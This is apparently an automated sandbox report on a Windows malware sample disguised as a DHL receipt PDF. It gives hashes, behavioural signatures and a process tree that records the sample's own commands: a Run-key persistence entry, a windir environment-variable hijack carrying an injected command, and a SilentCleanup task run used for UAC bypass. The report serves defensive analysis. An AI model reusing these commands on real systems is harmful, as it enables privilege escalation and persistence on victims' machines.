Analysis
- max time kernel
118s - max time network
93s - platform
windows7_x64 - resource
win7-en-20210916 - submitted
18/09/2021, 06:26
Static task
static1
Behavioral task
behavioral1
Sample
DHL_119040 de recibo,pdf.exe
Resource
win7-en-20210916
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
DHL_119040 de recibo,pdf.exe
Resource
win10-en
windows10_x64
0 signatures
0 seconds
General
- Target DHL_119040 de recibo,pdf.exe
- Size 850KB
- Sample210918-g67c8abgar
- SHA256 b31cde99f0850f6f1e87ff1cb15014a26d87a22aed1e63c2bcfe423bc377dfd7
- MD5 a24e66533b33574ce715598ff5d4f28c
- SHA1 31a28a85f6bed73a0379cc8fcc29d4543b8b09ec
- SHA512 e728f835f37322509c8763629fa07f2499e626defb177336e8601e70e69c439e499410e169cb438db8680dde6b993cda848913853d067a687d1d57ca7e6e711f
- MD5 SHA1 SHA512
Score
6/10
Malware Config
Signatures
- Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2375386074-2889020035-839874990-1000\Software\Microsoft\Windows\CurrentVersion\Run\Jqzswwq = "C:\\Users\\Public\\Libraries\\qwwszqJ.url" DHL_119040 de recibo,pdf.exe - Program crash 1 IoCs
pid pid_target Process procid_target 1836 1996 WerFault.exe 30 - Modifies registry key 1 TTPs 3 IoCs
pid Process 1048 reg.exe 2028 reg.exe 1064 reg.exe - Suspicious behavior: EnumeratesProcesses 5 IoCs
pid Process 1836 WerFault.exe 1836 WerFault.exe 1836 WerFault.exe 1836 WerFault.exe 1836 WerFault.exe - Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 1836 WerFault.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 1836 WerFault.exe - Suspicious use of WriteProcessMemory 48 IoCs
description pid Process procid_target PID 1568 wrote to memory of 1996 1568 DHL_119040 de recibo,pdf.exe 30 PID 1568 wrote to memory of 1996 1568 DHL_119040 de recibo,pdf.exe 30 PID 1568 wrote to memory of 1996 1568 DHL_119040 de recibo,pdf.exe 30 PID 1568 wrote to memory of 1996 1568 DHL_119040 de recibo,pdf.exe 30 PID 1568 wrote to memory of 1996 1568 DHL_119040 de recibo,pdf.exe 30 PID 1568 wrote to memory of 1996 1568 DHL_119040 de recibo,pdf.exe 30 PID 1568 wrote to memory of 1996 1568 DHL_119040 de recibo,pdf.exe 30 PID 1568 wrote to memory of 1996 1568 DHL_119040 de recibo,pdf.exe 30 PID 1568 wrote to memory of 1996 1568 DHL_119040 de recibo,pdf.exe 30 PID 1568 wrote to memory of 1996 1568 DHL_119040 de recibo,pdf.exe 30 PID 1568 wrote to memory of 1996 1568 DHL_119040 de recibo,pdf.exe 30 PID 1568 wrote to memory of 1996 1568 DHL_119040 de recibo,pdf.exe 30 PID 1568 wrote to memory of 1996 1568 DHL_119040 de recibo,pdf.exe 30 PID 1568 wrote to memory of 1996 1568 DHL_119040 de recibo,pdf.exe 30 PID 1568 wrote to memory of 1996 1568 DHL_119040 de recibo,pdf.exe 30 PID 1568 wrote to memory of 1996 1568 DHL_119040 de recibo,pdf.exe 30 PID 1996 wrote to memory of 1836 1996 mshta.exe 31 PID 1996 wrote to memory of 1836 1996 mshta.exe 31 PID 1996 wrote to memory of 1836 1996 mshta.exe 31 PID 1996 wrote to memory of 1836 1996 mshta.exe 31 PID 1568 wrote to memory of 1716 1568 DHL_119040 de recibo,pdf.exe 32 PID 1568 wrote to memory of 1716 1568 DHL_119040 de recibo,pdf.exe 32 PID 1568 wrote to memory of 1716 1568 DHL_119040 de recibo,pdf.exe 32 PID 1568 wrote to memory of 1716 1568 DHL_119040 de recibo,pdf.exe 32 PID 1716 wrote to memory of 844 1716 cmd.exe 34 PID 1716 wrote to memory of 844 1716 cmd.exe 34 PID 1716 wrote to memory of 844 1716 cmd.exe 34 PID 1716 wrote to memory of 844 1716 cmd.exe 34 PID 844 wrote to memory of 1048 844 cmd.exe 36 PID 844 wrote to memory of 1048 844 cmd.exe 36 PID 844 wrote to memory of 1048 844 cmd.exe 36 PID 844 wrote to memory of 1048 844 cmd.exe 36 PID 844 wrote to memory of 2028 844 cmd.exe 37 PID 844 wrote to memory of 2028 844 cmd.exe 37 PID 844 wrote to memory of 2028 844 cmd.exe 37 PID 844 wrote to memory of 2028 844 cmd.exe 37 PID 844 wrote to memory of 1552 844 cmd.exe 38 PID 844 wrote to memory of 1552 844 cmd.exe 38 PID 844 wrote to memory of 1552 844 cmd.exe 38 PID 844 wrote to memory of 1552 844 cmd.exe 38 PID 1568 wrote to memory of 1796 1568 DHL_119040 de recibo,pdf.exe 39 PID 1568 wrote to memory of 1796 1568 DHL_119040 de recibo,pdf.exe 39 PID 1568 wrote to memory of 1796 1568 DHL_119040 de recibo,pdf.exe 39 PID 1568 wrote to memory of 1796 1568 DHL_119040 de recibo,pdf.exe 39 PID 1796 wrote to memory of 1064 1796 cmd.exe 41 PID 1796 wrote to memory of 1064 1796 cmd.exe 41 PID 1796 wrote to memory of 1064 1796 cmd.exe 41 PID 1796 wrote to memory of 1064 1796 cmd.exe 41
Processes
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C:\Users\Admin\AppData\Local\Temp\DHL_119040 de recibo,pdf.exe"C:\Users\Admin\AppData\Local\Temp\DHL_119040 de recibo,pdf.exe"1⤵
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:1568 -
C:\Windows\SysWOW64\mshta.exeC:\Windows\System32\mshta.exe2⤵
- Suspicious use of WriteProcessMemory
PID:1996 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1996 -s 1323⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
PID:1836
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C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Public\Trast.bat" "2⤵
- Suspicious use of WriteProcessMemory
PID:1716 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /K C:\Users\Public\UKO.bat3⤵
- Suspicious use of WriteProcessMemory
PID:844 -
C:\Windows\SysWOW64\reg.exereg delete hkcu\Environment /v windir /f4⤵
- Modifies registry key
PID:1048
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C:\Windows\SysWOW64\reg.exereg add hkcu\Environment /v windir /d "cmd /c start /min C:\Users\Public\KDECO.bat reg delete hkcu\Environment /v windir /f && REM "4⤵
- Modifies registry key
PID:2028
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C:\Windows\SysWOW64\schtasks.exeschtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I4⤵PID:1552
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C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Public\nest.bat" "2⤵
- Suspicious use of WriteProcessMemory
PID:1796 -
C:\Windows\SysWOW64\reg.exereg delete hkcu\Environment /v windir /f3⤵
- Modifies registry key
PID:1064
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